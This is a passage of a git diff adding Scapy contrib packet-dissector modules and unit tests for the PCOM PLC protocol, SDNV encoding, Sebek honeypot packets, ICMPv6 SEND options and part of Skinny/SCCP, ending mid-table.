IEC104_IO_C_RC_TA_1_IOA, + IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1_IOA, + IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1_IOA, + IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1_IOA, + IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1_IOA, + IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1_IOA, + IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1_IOA, + IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1_IOA, + IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1_IOA, + IEC104_IO_ID_C_CS_NA_1: IEC104_IO_C_CS_NA_1_IOA, + IEC104_IO_ID_C_TS_NA_1: IEC104_IO_C_TS_NA_1_IOA, + IEC104_IO_ID_C_RP_NA_1: IEC104_IO_C_RP_NA_1_IOA, + IEC104_IO_ID_C_CD_NA_1: IEC104_IO_C_CD_NA_1_IOA, + IEC104_IO_ID_C_TS_TA_1: IEC104_IO_C_TS_TA_1_IOA, + IEC104_IO_ID_P_ME_NA_1: IEC104_IO_P_ME_NA_1_IOA, + IEC104_IO_ID_P_ME_NB_1: IEC104_IO_P_ME_NB_1_IOA, + IEC104_IO_ID_P_ME_NC_1: IEC104_IO_P_ME_NC_1_IOA, + IEC104_IO_ID_P_AC_NA_1: IEC104_IO_P_AC_NA_1_IOA, + IEC104_IO_ID_F_FR_NA_1: IEC104_IO_F_FR_NA_1_IOA, + IEC104_IO_ID_F_SR_NA_1: IEC104_IO_F_SR_NA_1_IOA, + IEC104_IO_ID_F_SC_NA_1: IEC104_IO_F_SC_NA_1_IOA, + IEC104_IO_ID_F_LS_NA_1: IEC104_IO_F_LS_NA_1_IOA, + IEC104_IO_ID_F_AF_NA_1: IEC104_IO_F_AF_NA_1_IOA, + IEC104_IO_ID_F_SG_NA_1: IEC104_IO_F_SG_NA_1_IOA, + IEC104_IO_ID_F_DR_TA_1: IEC104_IO_F_DR_TA_1_IOA, + IEC104_IO_ID_F_SC_NB_1: IEC104_IO_F_SC_NB_1_IOA +} diff --git a/libs/scapy/contrib/scada/pcom.py b/libs/scapy/contrib/scada/pcom.py new file mode 100755 index 0000000..ac2ac6a --- /dev/null +++ b/libs/scapy/contrib/scada/pcom.py @@ -0,0 +1,241 @@ +# coding: utf8 + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = PCOM Protocol +# scapy.contrib.status = loads + +# Copyright (C) 2019 Luis Rosa +# +# PCOM is a protocol to communicate with Unitronics PLCs either by serial +# or TCP. Two modes are available, ASCII and Binary. +# +# See https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf # noqa + +import struct + +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import TCP +from scapy.fields import XShortField, ByteEnumField, XByteField, \ + StrFixedLenField, StrLenField, LEShortField, \ + LEFieldLenField, LEX3BytesField, XLEShortField +from scapy.volatile import RandShort +from scapy.compat import bytes_encode, orb + +_protocol_modes = {0x65: "ascii", 0x66: "binary"} + +_ascii_command_codes = { + "ID": "Send Identification Command", + "CCR": "Send Start Command", + "CCS": "Send Stop Command", + "CCE": "Send Reset Command", + "CCI": "Send Init Command", + "CC": "Reply of Admin Commands (CC*)", + "UG": "Get UnitID", + "US": "Set UnitID", + "RC": "Get RTC", + "SC": "Set RTC", + "RE": "Read Inputs", + "RA": "Read Outputs", + "GS": "Read System Bits", + "GF": "Read System Integers", + "RNH": "Read System Longs", + "RNJ": "Read System Double Words", + "RB": "Read Memory Bits", + "RW": "Read Memory Integers", + "RNL": "Read Memory Longs", + "RND": "Read Memory Double Words", + "RN": "Read Longs / Double Words", + "SA": "Write Outputs", + "SS": "Write System Bits", + "SF": "Write System Integers", + "SNH": "Write System Longs", + "SNJ": "Write System Double Words", + "SB": "Write Memory Bits", + "SW": "Write Memory Integers", + "SNL": "Write Memory Longs", + "SND": "Write Memory Double Words", + "SN": "Write Longs / Double Words" +} + +_binary_command_codes = { + 0x0c: "Get PLC Name Request", + 0x8c: "Get PLC Name Reply", + 0x4d: "Read Operands Request", + 0xcd: "Read Operands Reply", + 0x04: "Read Data Table Request", + 0x84: "Read Data Table Reply", + 0x44: "Write Data Table Request", + 0xc4: "Write Data Table Reply" +} + + +class PCOM(Packet): + fields_desc = [ + XShortField("transId", RandShort()), + ByteEnumField("mode", 0x65, _protocol_modes), + XByteField("reserved", 0x00), + LEShortField("len", None) + ] + + def post_build(self, pkt, pay): + if self.len is None and pay: + pkt = pkt[:4] + struct.pack("H", len(pay)) + return pkt + pay + + +class PCOMRequest(PCOM): + name = "PCOM/TCP Request" + + +class PCOMResponse(PCOM): + name = "PCOM/TCP Response" + + +class PCOMAscii(Packet): + @staticmethod + def pcom_ascii_checksum(command): + n = 0 + command = bytes_encode(command) + for _, c in enumerate(command): + n += orb(c) + return list(map(ord, hex(n % 256)[2:].zfill(2).upper())) + + +class PCOMAsciiCommandField(StrLenField): + def i2repr(self, pkt, x): + s = super(PCOMAsciiCommandField, self).i2repr(pkt, x) + code = s[1:4] # check for 3 chars known codes + if code in _ascii_command_codes: + return _ascii_command_codes[code] + " " + s + code = s[1:3] # check for 2 chars known codes + if code in _ascii_command_codes: + return _ascii_command_codes[code] + " " + s + return s + + +class PCOMAsciiRequest(PCOMAscii): + name = "PCOM/ASCII Request" + fields_desc = [ + StrFixedLenField("stx", "/", 1), + StrFixedLenField("unitId", "00", 2), + PCOMAsciiCommandField( + "command", '', length_from=lambda pkt: pkt.underlayer.len - 6), + XShortField("chksum", None), + XByteField("etx", 0x0d) + ] + + def post_build(self, pkt, pay): + if self.chksum is None: + chksum = PCOMAscii.pcom_ascii_checksum(pkt[1:-3]) + pkt = pkt[:-3] + struct.pack("2B", chksum[0], chksum[1]) + pkt[-1:] + return pkt + pay + + +class PCOMAsciiResponse(PCOMAscii): + name = "PCOM/ASCII Response" + fields_desc = [ + StrFixedLenField("stx", "/A", 2), + StrFixedLenField("unitId", "00", 2), + PCOMAsciiCommandField( + "command", '', length_from=lambda pkt: pkt.underlayer.len - 7), + XShortField("chksum", None), + XByteField("etx", 0x0d) + ] + + def post_build(self, pkt, pay): + if self.chksum is None: + chksum = PCOMAscii.pcom_ascii_checksum(pkt[2:-3]) + pkt = pkt[:-3] + struct.pack("2B", chksum[0], chksum[1]) + pkt[-1:] + return pkt + pay + + +class PCOMBinary(Packet): + @staticmethod + def pcom_binary_checksum(command): + n = 0 + command = bytes_encode(command) + for _, c in enumerate(command): + c = c if isinstance(c, int) else ord(c) # python 2 fallback + n += c + if n == 0: + return [0x00, 0x00] + else: + two_complement = hex(0x10000 - (n % 0x10000))[2:].zfill(4) + return [int(two_complement[:2], 16), int(two_complement[2:], 16)] + + def post_build(self, pkt, pay): + if self.headerChksum is None: + chksum = PCOMBinaryRequest.pcom_binary_checksum(pkt[:21]) + pkt = pkt[:22] + struct.pack("2B", chksum[1], chksum[0]) + pkt[24:] + if self.footerChksum is None: + chksum = PCOMBinaryRequest.pcom_binary_checksum(pkt[24:-3]) + pkt = pkt[:-3] + struct.pack("2B", chksum[1], chksum[0]) + pkt[-1:] + return pkt + pay + + +class PCOMBinaryCommandField(XByteField): + def i2repr(self, pkt, x): + s = super(PCOMBinaryCommandField, self).i2repr(pkt, x) + if x in _binary_command_codes: + return _binary_command_codes[x] + " - " + s + else: + return s + + +class PCOMBinaryRequest(PCOMBinary): + name = "PCOM/Binary Request" + fields_desc = [ + StrFixedLenField("stx", "/_OPLC", 6), + XByteField("id", 0x0), + XByteField("reserved1", 0xfe), + XByteField("reserved2", 0x1), + LEX3BytesField("reserved3", 0x0), + PCOMBinaryCommandField("command", None), + XByteField("reserved4", 0x0), + StrFixedLenField("commandSpecific", '', 6), + LEFieldLenField("len", 0, length_of="data"), + XLEShortField("headerChksum", None), + StrLenField("data", '', length_from=lambda pkt: pkt.len), + XLEShortField("footerChksum", None), + XByteField("etx", 0x5c) + ] + + +class PCOMBinaryResponse(PCOMBinary): + name = "PCOM/Binary Response" + fields_desc = [ + StrFixedLenField("stx", "/_OPLC", 6), + XByteField("reserved1", 0xfe), + XByteField("id", 0x0), + XByteField("reserved2", 0x1), + LEX3BytesField("reserved3", 0x0), + PCOMBinaryCommandField("command", None), + XByteField("reserved4", 0x0), + StrFixedLenField("commandSpecific", '', 6), + LEFieldLenField("len", 0, length_of="data"), + XLEShortField("headerChksum", None), + StrLenField("data", '', length_from=lambda pkt: pkt.len), + XLEShortField("footerChksum", None), + XByteField("etx", 0x5c) + ] + + +bind_layers(TCP, PCOMRequest, dport=20256) +bind_layers(TCP, PCOMResponse, sport=20256) +bind_layers(PCOMRequest, PCOMAsciiRequest, mode=0x65) +bind_layers(PCOMRequest, PCOMBinaryRequest, mode=0x66) +bind_layers(PCOMResponse, PCOMAsciiResponse, mode=0x65) +bind_layers(PCOMResponse, PCOMBinaryResponse, mode=0x66) diff --git a/libs/scapy/contrib/sdnv.py b/libs/scapy/contrib/sdnv.py new file mode 100755 index 0000000..26f1d19 --- /dev/null +++ b/libs/scapy/contrib/sdnv.py @@ -0,0 +1,109 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +""" + Copyright 2012, The MITRE Corporation:: + + NOTICE + This software/technical data was produced for the U.S. Government + under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 + and is subject to FAR 52.227-14 (6/87) Rights in Data General, + and Article GP-51, Rights in Data General, respectively. + This software is publicly released under MITRE case #12-3054 +""" + +# scapy.contrib.description = Self-Delimiting Numeric Values (SDNV) +# scapy.contrib.status = library + +from scapy.fields import Field, FieldLenField, LenField +from scapy.compat import raw + +# SDNV definitions + + +class SDNVValueError(Exception): + def __init__(self, maxValue): + self.maxValue = maxValue + + +class SDNV: + def __init__(self, maxValue=2**32 - 1): + self.maxValue = maxValue + return + + def setMax(self, maxValue): + self.maxValue = maxValue + + def getMax(self): + return self.maxValue + + def encode(self, number): + if number > self.maxValue: + raise SDNVValueError(self.maxValue) + + foo = bytearray() + foo.append(number & 0x7F) + number = number >> 7 + + while (number > 0): + thisByte = number & 0x7F + thisByte |= 0x80 + number = number >> 7 + temp = bytearray() + temp.append(thisByte) + foo = temp + foo + + return(foo) + + def decode(self, ba, offset): + number = 0 + numBytes = 1 + + b = ba[offset] + number = (b & 0x7F) + while (b & 0x80 == 0x80): + number = number << 7 + if (number > self.maxValue): + raise SDNVValueError(self.maxValue) + b = ba[offset + numBytes] + number += (b & 0x7F) + numBytes += 1 + if (number > self.maxValue): + raise SDNVValueError(self.maxValue) + return(number, numBytes) + + +SDNVUtil = SDNV() + + +class SDNV2(Field): + """ SDNV2 field """ + + def addfield(self, pkt, s, val): + return s + raw(SDNVUtil.encode(val)) + + def getfield(self, pkt, s): + b = bytearray(s) + val, len = SDNVUtil.decode(b, 0) + return s[len:], val + + +class SDNV2FieldLenField(FieldLenField, SDNV2): + def addfield(self, pkt, s, val): + return s + raw(SDNVUtil.encode(FieldLenField.i2m(self, pkt, val))) + + +class SDNV2LenField(LenField, SDNV2): + def addfield(self, pkt, s, val): + return s + raw(SDNVUtil.encode(LenField.i2m(self, pkt, val))) diff --git a/libs/scapy/contrib/sdnv.uts b/libs/scapy/contrib/sdnv.uts new file mode 100755 index 0000000..be67eb8 --- /dev/null +++ b/libs/scapy/contrib/sdnv.uts @@ -0,0 +1,79 @@ +% SDNV library tests + +############ +############ ++ Test SDNV encoding/decoding + += Load SDNVUtil + +# Explicit to load SDNVUtil +load_contrib("sdnv") + += Define utils + +def doTestVector(vec): + # Test numbers individually + for n in vec: + ba = SDNVUtil.encode(n) + (num, sdnvLen) = SDNVUtil.decode(ba, 0) + if num != n: + print("Error encoding/decoding", n) + return False + # Encode them all in a bunch + ba = bytearray() + for n in vec: + temp = SDNVUtil.encode(n) + ba = ba + temp + offset = 0 + outNums = [] + for n in vec: + (num, sdnvLen) = SDNVUtil.decode(ba, offset) + outNums.append(num) + offset += sdnvLen + if outNums != vec: + print("Failed on multi-number encode/decode") + return False + return True + += Vector tests: small ints + +ba = bytearray() +theNums = [0, 1, 2, 5, 126, 127, 128, 129, + 130, 150, 190, 220, 254, 255, 256] +assert doTestVector(theNums) + += Vector tests: big ints + +theNums = [0, 1, 0, 1, 0, 128, 32765, + SDNVUtil.maxValue - 10, 4, 32766, 32767, 32768, 32769] +assert doTestVector(theNums) + += 100 random vector tests + +import random + +def doRandomTestVector(howMany): + vec = [] + for i in range(0, howMany): + vec.append(random.randint(0, SDNVUtil.maxValue)) + result = doTestVector(vec) + return result + +assert doRandomTestVector(100) + += SDVN tests + +# Tests using the SDNV class +s = SDNV(30) +b = s.encode(17) +theNums = [0, 4, 20, 29, 30, 31, 33] +not_enc = [] +for n in theNums: + try: + b = s.encode(n) + except SDNVValueError as e: + print("Could not encode", n, "-- maximum value is:", e.maxValue) + not_enc.append(n) + +not_enc.sort() +assert not_enc == [31, 33] \ No newline at end of file diff --git a/libs/scapy/contrib/sebek.py b/libs/scapy/contrib/sebek.py new file mode 100755 index 0000000..5a6acfc --- /dev/null +++ b/libs/scapy/contrib/sebek.py @@ -0,0 +1,124 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Sebek: kernel module for data collection on honeypots. +""" + +# scapy.contrib.description = Sebek +# scapy.contrib.status = loads + +from scapy.fields import FieldLenField, IPField, IntField, ShortEnumField, \ + ShortField, StrFixedLenField, StrLenField, XIntField, ByteEnumField +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import UDP +from scapy.data import IP_PROTOS + + +# SEBEK + + +class SebekHead(Packet): + name = "Sebek header" + fields_desc = [XIntField("magic", 0xd0d0d0), + ShortField("version", 1), + ShortEnumField("type", 0, {"read": 0, "write": 1, + "socket": 2, "open": 3}), + IntField("counter", 0), + IntField("time_sec", 0), + IntField("time_usec", 0)] + + def mysummary(self): + return self.sprintf("Sebek Header v%SebekHead.version% %SebekHead.type%") # noqa: E501 + +# we need this because Sebek headers differ between v1 and v3, and +# between v3 type socket and v3 others + + +class SebekV1(Packet): + name = "Sebek v1" + fields_desc = [IntField("pid", 0), + IntField("uid", 0), + IntField("fd", 0), + StrFixedLenField("cmd", "", 12), + FieldLenField("data_length", None, "data", fmt="I"), + StrLenField("data", "", length_from=lambda x:x.data_length)] + + def mysummary(self): + if isinstance(self.underlayer, SebekHead): + return self.underlayer.sprintf("Sebek v1 %SebekHead.type% (%SebekV1.cmd%)") # noqa: E501 + else: + return self.sprintf("Sebek v1 (%SebekV1.cmd%)") + + +class SebekV3(Packet): + name = "Sebek v3" + fields_desc = [IntField("parent_pid", 0), + IntField("pid", 0), + IntField("uid", 0), + IntField("fd", 0), + IntField("inode", 0), + StrFixedLenField("cmd", "", 12), + FieldLenField("data_length", None, "data", fmt="I"), + StrLenField("data", "", length_from=lambda x:x.data_length)] + + def mysummary(self): + if isinstance(self.underlayer, SebekHead): + return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.cmd%)") # noqa: E501 + else: + return self.sprintf("Sebek v3 (%SebekV3.cmd%)") + + +class SebekV2(SebekV3): + def mysummary(self): + if isinstance(self.underlayer, SebekHead): + return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.cmd%)") # noqa: E501 + else: + return self.sprintf("Sebek v2 (%SebekV2.cmd%)") + + +class SebekV3Sock(Packet): + name = "Sebek v2 socket" + fields_desc = [IntField("parent_pid", 0), + IntField("pid", 0), + IntField("uid", 0), + IntField("fd", 0), + IntField("inode", 0), + StrFixedLenField("cmd", "", 12), + IntField("data_length", 15), + IPField("dip", "127.0.0.1"), + ShortField("dport", 0), + IPField("sip", "127.0.0.1"), + ShortField("sport", 0), + ShortEnumField("call", 0, {"bind": 2, + "connect": 3, "listen": 4, + "accept": 5, "sendmsg": 16, + "recvmsg": 17, "sendto": 11, + "recvfrom": 12}), + ByteEnumField("proto", 0, IP_PROTOS)] + + def mysummary(self): + if isinstance(self.underlayer, SebekHead): + return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.cmd%)") # noqa: E501 + else: + return self.sprintf("Sebek v3 socket (%SebekV3Sock.cmd%)") + + +class SebekV2Sock(SebekV3Sock): + def mysummary(self): + if isinstance(self.underlayer, SebekHead): + return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.cmd%)") # noqa: E501 + else: + return self.sprintf("Sebek v2 socket (%SebekV2Sock.cmd%)") + + +bind_layers(UDP, SebekHead, sport=1101) +bind_layers(UDP, SebekHead, dport=1101) +bind_layers(UDP, SebekHead, dport=1101, sport=1101) +bind_layers(SebekHead, SebekV1, version=1) +bind_layers(SebekHead, SebekV2Sock, version=2, type=2) +bind_layers(SebekHead, SebekV2, version=2) +bind_layers(SebekHead, SebekV3Sock, version=3, type=2) +bind_layers(SebekHead, SebekV3, version=3) diff --git a/libs/scapy/contrib/sebek.uts b/libs/scapy/contrib/sebek.uts new file mode 100755 index 0000000..23b5a97 --- /dev/null +++ b/libs/scapy/contrib/sebek.uts @@ -0,0 +1,46 @@ +# Sebek layer unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('sebek')" -t scapy/contrib/sebek.uts + ++ Sebek protocol + += Layer binding 1 +pkt = IP() / UDP() / SebekHead() / SebekV1(cmd="diepotato") +assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 +assert pkt.summary() == "IP / UDP / SebekHead / Sebek v1 read ('diepotato')" + += Packet dissection 1 +pkt = IP(raw(pkt)) +pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 + += Layer binding 2 +pkt = IP() / UDP() / SebekHead() / SebekV2Sock(cmd="diepotato") +assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 +assert pkt.summary() == "IP / UDP / SebekHead / Sebek v2 socket ('diepotato')" + += Packet dissection 2 +pkt = IP(raw(pkt)) +pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 + += Layer binding 3 +pkt = IPv6()/UDP()/SebekHead()/SebekV3() +assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 +assert pkt.summary() == "IPv6 / UDP / SebekHead / Sebek v3 read ('')" + += Packet dissection 3 +pkt = IPv6(raw(pkt)) +pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 + += Nonsense summaries + +assert SebekHead(version=2).summary() == "Sebek Header v2 read" +assert SebekV1(cmd="diepotato").summary() == "Sebek v1 ('diepotato')" +assert SebekV2(cmd="diepotato").summary() == "Sebek v2 ('diepotato')" +assert (SebekHead()/SebekV2(cmd="nottoday")).summary() == "SebekHead / Sebek v2 read ('nottoday')" +assert SebekV3(cmd="diepotato").summary() == "Sebek v3 ('diepotato')" +assert (SebekHead()/SebekV3(cmd="nottoday")).summary() == "SebekHead / Sebek v3 read ('nottoday')" +assert SebekV3Sock(cmd="diepotato").summary() == "Sebek v3 socket ('diepotato')" +assert (SebekHead()/SebekV3Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v3 socket ('nottoday')" +assert SebekV2Sock(cmd="diepotato").summary() == "Sebek v2 socket ('diepotato')" +assert (SebekHead()/SebekV2Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v2 socket ('nottoday')" diff --git a/libs/scapy/contrib/send.py b/libs/scapy/contrib/send.py new file mode 100755 index 0000000..4a65c46 --- /dev/null +++ b/libs/scapy/contrib/send.py @@ -0,0 +1,88 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) 2009 Adline Stephane +# Copyright 2018 Gabriel Potter + +# Partial support of RFC3971 +# scapy.contrib.description = Secure Neighbor Discovery (SEND) (ICMPv6) +# scapy.contrib.status = loads + +from __future__ import absolute_import + +from scapy.packet import Packet +from scapy.fields import BitField, ByteField, FieldLenField, PacketField, \ + PacketLenField, ShortField, StrFixedLenField, StrLenField, UTCTimeField +from scapy.layers.x509 import X509_SubjectPublicKeyInfo +from scapy.layers.inet6 import icmp6ndoptscls, _ICMPv6NDGuessPayload +from scapy.compat import chb +from scapy.volatile import RandBin + + +class ICMPv6NDOptNonce(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6NDOptNonce" + fields_desc = [ByteField("type", 14), + FieldLenField("len", None, length_of="nonce", fmt="B", adjust=lambda pkt, x: int(round((x + 2) / 8.))), # noqa: E501 + StrLenField("nonce", "", length_from=lambda pkt: pkt.len * 8 - 2)] # noqa: E501 + + +class ICMPv6NDOptTmstp(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6NDOptTmstp" + fields_desc = [ByteField("type", 13), + ByteField("len", 2), + BitField("reserved", 0, 48), + UTCTimeField("timestamp", None)] + + +class ICMPv6NDOptRsaSig(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6NDOptRsaSig" + fields_desc = [ByteField("type", 12), + FieldLenField("len", None, length_of="signature_pad", fmt="B", adjust=lambda pkt, x: (x + 20) // 8), # noqa: E501 + ShortField("reserved", 0), + StrFixedLenField("key_hash", "", length=16), + StrLenField("signature_pad", "", length_from=lambda pkt: pkt.len * 8 - 20)] # noqa: E501 + + +class CGA_Params(Packet): + name = "CGA Parameters data structure" + fields_desc = [StrFixedLenField("modifier", RandBin(size=16), length=16), + StrFixedLenField("subprefix", "", length=8), + ByteField("cc", 0), + PacketField("pubkey", X509_SubjectPublicKeyInfo(), + X509_SubjectPublicKeyInfo)] + + +class ICMPv6NDOptCGA(_ICMPv6NDGuessPayload, Packet): + name = "ICMPv6NDOptCGA" + fields_desc = [ByteField("type", 11), + FieldLenField("len", None, length_of="CGA_PARAMS", fmt="B", adjust=lambda pkt, x: (x + pkt.padlength + 4) // 8), # noqa: E501 + FieldLenField("padlength", 0, length_of="padding", fmt="B"), + ByteField("reserved", 0), + PacketLenField("CGA_PARAMS", "", CGA_Params, length_from=lambda pkt: pkt.len * 8 - pkt.padlength - 4), # noqa: E501 + StrLenField("padding", "", length_from=lambda pkt: pkt.padlength)] # noqa: E501 + + def post_build(self, p, pay): + l_ = len(self.CGA_PARAMS) + tmp_len = -(4 + l_) % 8 # Pad to 8 bytes + p = p[:1] + chb((4 + l_ + tmp_len) // 8) + chb(tmp_len) + p[3:4 + l_] + p += b"\x00" * tmp_len + pay + return p + + +send_icmp6ndoptscls = {11: ICMPv6NDOptCGA, + 12: ICMPv6NDOptRsaSig, + 13: ICMPv6NDOptTmstp, + 14: ICMPv6NDOptNonce + } +icmp6ndoptscls.update(send_icmp6ndoptscls) diff --git a/libs/scapy/contrib/send.uts b/libs/scapy/contrib/send.uts new file mode 100755 index 0000000..80d892c --- /dev/null +++ b/libs/scapy/contrib/send.uts @@ -0,0 +1,35 @@ ++ SEND (IPv6) tests + += ICMPv6NDOptRsaSig build and dissection + +pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptRsaSig(signature_pad = b"\x01" * 12) +pkt = Ether(raw(pkt)) + +assert ICMPv6NDOptRsaSig in pkt +assert pkt[ICMPv6NDOptRsaSig].signature_pad == b"\x01" * 12 + += ICMPv6NDOptCGA build and dissection + +pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptCGA(CGA_PARAMS=CGA_Params()) +pkt = Ether(raw(pkt)) + +assert ICMPv6NDOptCGA in pkt +assert isinstance(pkt[ICMPv6NDOptCGA].CGA_PARAMS.pubkey, X509_SubjectPublicKeyInfo) +assert len(pkt) == 142 + += ICMPv6NDOptTmstp build and dissection + +pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptTmstp(timestamp=int(time.mktime(time.gmtime()))) +pkt = Ether(raw(pkt)) +pkt.show() + +assert ICMPv6NDOptTmstp in pkt +assert pkt[ICMPv6NDOptTmstp].len == 2 + += ICMPv6NDOptNonce build and dissection + +pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptNonce(nonce=b"\x31\x32\x33\x34\x35\x36") +pkt = Ether(raw(pkt)) + +assert ICMPv6NDOptNonce in pkt +assert raw(ICMPv6NDOptNonce(nonce=b"\x31\x32\x33\x34\x35\x36")) == b'\x0e\x01123456' diff --git a/libs/scapy/contrib/skinny.py b/libs/scapy/contrib/skinny.py new file mode 100755 index 0000000..af2f1a5 --- /dev/null +++ b/libs/scapy/contrib/skinny.py @@ -0,0 +1,535 @@ +# scapy.contrib.description = Skinny Call Control Protocol (SCCP) +# scapy.contrib.status = loads + + +############################################################################# +# # +# scapy-skinny.py --- Skinny Call Control Protocol (SCCP) extension # +# # +# Copyright (C) 2006 Nicolas Bareil # +# EADS/CRC security team # +# # +# This file is part of Scapy # +# Scapy is free software: you can redistribute it and/or modify # +# under the terms of the GNU General Public License version 2 as # +# published by the Free Software Foundation; version 2. # +# # +# This program is distributed in the hope that it will be useful, but # +# WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # +# General Public License for more details. # +# # +############################################################################# + +from __future__ import absolute_import +import time +import struct + +from scapy.packet import Packet, bind_layers +from scapy.fields import FlagsField, IPField, LEIntEnumField, LEIntField, \ + StrFixedLenField +from scapy.layers.inet import TCP +from scapy.modules.six.moves import range +from scapy.volatile import RandShort +from scapy.config import conf + +##################################################################### +# Helpers and constants +##################################################################### + +skinny_messages_cls = { + # Station -> Callmanager + 0x0000: "SkinnyMessageKeepAlive", + 0x0001: "SkinnyMessageRegister", + 0x0002: "SkinnyMessageIpPort", + 0x0003: "SkinnyMessageKeypadButton", + 0x0004: "SkinnyMessageEnblocCall", + 0x0005: "SkinnyMessageStimulus", + 0x0006: "SkinnyMessageOffHook", + 0x0007: "SkinnyMessageOnHook", + 0x0008: "SkinnyMessageHookFlash", + 0x0009: "SkinnyMessageForwardStatReq", + 0x000A: "SkinnyMessageSpeedDialStatReq", + 0x000B: "SkinnyMessageLineStatReq", + 0x000C: "SkinnyMessageConfigStatReq", + 0x000D: "SkinnyMessageTimeDateReq", + 0x000E: "SkinnyMessageButtonTemplateReq", + 0x000F: "SkinnyMessageVersionReq", + 0x0010: "SkinnyMessageCapabilitiesRes", + 0x0011: "SkinnyMessageMediaPortList", + 0x0012: "SkinnyMessageServerReq", + 0x0020: "SkinnyMessageAlarm", + 0x0021: "SkinnyMessageMulticastMediaReceptionAck", + 0x0022: "SkinnyMessageOpenReceiveChannelAck", + 0x0023: "SkinnyMessageConnectionStatisticsRes", + 0x0024: "SkinnyMessageOffHookWithCgpn", + 0x0025: "SkinnyMessageSoftKeySetReq", + 0x0026: "SkinnyMessageSoftKeyEvent", + 0x0027: "SkinnyMessageUnregister", + 0x0028: "SkinnyMessageSoftKeyTemplateReq", + 0x0029: "SkinnyMessageRegisterTokenReq", + 0x002A: "SkinnyMessageMediaTransmissionFailure", + 0x002B: "SkinnyMessageHeadsetStatus", + 0x002C: "SkinnyMessageMediaResourceNotification", + 0x002D: "SkinnyMessageRegisterAvailableLines", + 0x002E: "SkinnyMessageDeviceToUserData", + 0x002F: "SkinnyMessageDeviceToUserDataResponse", + 0x0030: "SkinnyMessageUpdateCapabilities", + 0x0031: "SkinnyMessageOpenMultiMediaReceiveChannelAck", + 0x0032: "SkinnyMessageClearConference", + 0x0033: "SkinnyMessageServiceURLStatReq", + 0x0034: "SkinnyMessageFeatureStatReq", + 0x0035: "SkinnyMessageCreateConferenceRes", + 0x0036: "SkinnyMessageDeleteConferenceRes", + 0x0037: "SkinnyMessageModifyConferenceRes", + 0x0038: "SkinnyMessageAddParticipantRes", + 0x0039: "SkinnyMessageAuditConferenceRes", + 0x0040: "SkinnyMessageAuditParticipantRes", + 0x0041: "SkinnyMessageDeviceToUserDataVersion1", + # Callmanager -> Station */ + 0x0081: "SkinnyMessageRegisterAck", + 0x0082: "SkinnyMessageStartTone", + 0x0083: "SkinnyMessageStopTone", + 0x0085: "SkinnyMessageSetRinger", + 0x0086: "SkinnyMessageSetLamp", + 0x0087: "SkinnyMessageSetHkFDetect", + 0x0088: "SkinnyMessageSpeakerMode", + 0x0089: "SkinnyMessageSetMicroMode", + 0x008A: "SkinnyMessageStartMediaTransmission", + 0x008B: "SkinnyMessageStopMediaTransmission", + 0x008C: "SkinnyMessageStartMediaReception", + 0x008D: "SkinnyMessageStopMediaReception", + 0x008F: "SkinnyMessageCallInfo", + 0x0090: 